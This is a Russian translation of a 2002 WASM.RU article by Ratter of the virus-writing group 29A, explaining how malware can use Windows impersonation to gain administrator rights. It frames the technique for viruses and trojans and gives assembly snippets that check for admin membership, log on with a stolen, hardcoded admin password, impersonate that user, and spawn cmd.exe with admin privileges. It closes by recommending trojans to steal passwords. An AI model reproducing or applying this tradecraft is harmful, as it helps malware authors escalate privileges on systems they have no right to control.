Ваш друг имперсонация (WASM.RU)
.Введение.
Представьте ситуацию. Ваша программа выполняется не под правами администратора, но у вас есть пароль администратора (как его получить — смотрите в дpугой моей статье). У вас есть привилигии, которые вам нужны, и теперь вы думаете, что с ними делать? Ответом является имперсонация.
Давайте взглянем на определение имперсонации в MSDN:
— Имперсонация — это способность треда использовать другую информацию о безопасности, нежели та, что доступна процессу, который владеет тредом.
Существует много типов имперсонации, например DDE, именованные пайпы, RPC-имперсонация и так далее. Обычно имперсонация используется, когда серверу необходимо некоторое время действовать как клиент. Но мы используем этот метода, чтобы дать нашему треду права администратора и создать процесс, обладающий такими правами…
.Требуемые привилегии.
Сценарий использования имперсонации может выглядеть так: ваш вирус запускается под правами администратора и устанавливает троян, чтобы получить права администратора. Затем, будучи запущенным под правами обычного пользователя, он осуществляет имперсонацию и работает, как если бы был запущен администратором.
.Проверка.
Во-первых, мы хотим узнать, запущен ли ваш процесс под правами администратора или нет (бессмысленно проводить имперсонацию администратора, если вы уже им являетесь 🙂 ). Этот небольшой отрывок кода может вам помочь…
- Проверка прав -
;-----------------------------------------------------------------------------
; Функция CheckTokenMemberShip находится в advapi32.dll
; Если используется для имперсоницированного токена (token), не возвратит
; правильного результата
SECURITY_BUILTIN_DOMAIN_RID equ 20h
DOMAIN_ALIAS_RID_ADMINS equ 220h
SECURITY_NT_AUTHORITY equ 5
; на выходе: eax - булевое значение
is_caller_admin proc near
pushad
@SEH_SetupFrame
<jmp is_caller_admin_end>
@pushvar <dd ?>
pop eax
and dword ptr [eax], 0
push eax
push eax
align 4
call $+24
db 0ffh, 25h, 60h
db 1 ; создаем SID администратора
db 2
db 0, 0, 0, 0, 0, SECURITY_NT_AUTHORITY
dd SECURITY_BUILTIN_DOMAIN_RID
dd DOMAIN_ALIAS_RID_ADMINS
add dword ptr [esp], 3
push 0 ; проверяем токен выполняющегося треда
call CheckTokenMembership ; for admin SID
pop eax
mov eax, dword ptr [eax]
is_caller_admin_end:
@SEH_RemoveFrame
mov dword ptr [esp.Pushad_eax], eax
popad
retn
is_caller_admin endp
;-----------------------------------------------------------------------------
.Имперсонация выполняющегося треда.
Пусть у нас есть логин «adminstrator» с паролем «fucker». Во-первых, мы должны залогинить этого пользователя. Для этого мы используем функцию LogonUser, которая экспортируется из advpi32.dll. Давайте взглянем на прототип:
BOOL LogonUser(
LPTSTR lpszUsername, // имя пользователя
LPTSTR lpszDomain, // домен или сервер
LPTSTR lpszPassword, // пароль
DWORD dwLogonType, // тип операции начала сеанса
DWORD dwLogonProvider, // провайдер начала сеанса
PHANDLE phToken // получает хэндл токенов
);
В phToken мы получим хэндлы токенов, которые нам потребуются в дальнейшем. Провайдер начала сеанса будет null, т.е. по умолчанию. Тип начала сеанса будет LOGON32_LOGON_INTERACTIVE, пароль и имя пользователя очевидны. Домейн будет равен null. Теперь давайте взглянем на код.
- Залогинивание пользователя -
;-----------------------------------------------------------------------------
LOGON32_LOGON_INTERACTIVE equ 2
@pushvar
push 0
push LOGON32_LOGON_INTERACTIVE
@pushsz "fucker"
push 0
@pushsz "administrator"
call LogonUserA
;-----------------------------------------------------------------------------
Если все прошло хорошо, то теперь у нас есть токен имперсонации. Теперь мы будем использовать функцию ImpersonateLoggedOnUser, которая в конце концов объявит наш тред как имперсоницированный. Функция принимает один аргумент — токен.
- Имперсонация пользователя -
;-----------------------------------------------------------------------------
push dword ptr [htoken]
call ImpersonateLoggedOnUser
;-----------------------------------------------------------------------------
Теперь наш тред запущен под правами администратора. Мы можем делать все, что нам нужно, а затем, когда мы закончим с этим и захотим вернуть себе обратно старые права, просто вызовем функцию RevertToSelf…
- Возврат старых прав -
;-----------------------------------------------------------------------------
call dword ptr [ebp+tRevertToSelf]
;-----------------------------------------------------------------------------
.Создание нового процесса в имперсоницированном контексте безопасности.
Во-первых, мы должны залогиниться, как и в предыдущем случае. Просто используйте тот же код, что и в разделе — Залогинивание пользователя -. Мы будем использовать функцию CreateProcessAsUser, которая также экспортируется из advapi32.dll. Эта функция почти такая же, как и CreateProcess, но она принимает на один аргумент больше — токер.
- Создание процесса с правами администратора -
;-----------------------------------------------------------------------------
GMEM_ZEROINIT equ 040h
push type(PROCESS_INFORMATION)+type(STARTUPINFO)
push GMEM_ZEROINIT
call GlobalAlloc
xchg eax, ebx
xor eax,eax
push ebx
push ebx
add dword ptr [esp], type(PROCESS_INFORMATION)
push eax
push eax
push eax
push 1
push eax
push eax
@pushsz "cmd.exe";
push eax
push dword ptr [htoken]
call CreateProcessAsUserA
push ebx
call GlobalFree
push dword ptr [htoken]
call CloseHandle
;-----------------------------------------------------------------------------
Это отрывок кода запустит копию командного интерпретатора, который будет выполняться в контексте безопасности администратора…
.Напоследок.
Как вы можете видеть, имперсонация — это очень мощная вещь. Единственное слабое звено — это пароли. Но если вы найдете хороший путь, чтобы получить пароли (например, троян), тогда она станет вашим лучшим другом :).
[C] Ratter/29A, пер. Aquila
Источник WASM.RU /27.06.2002/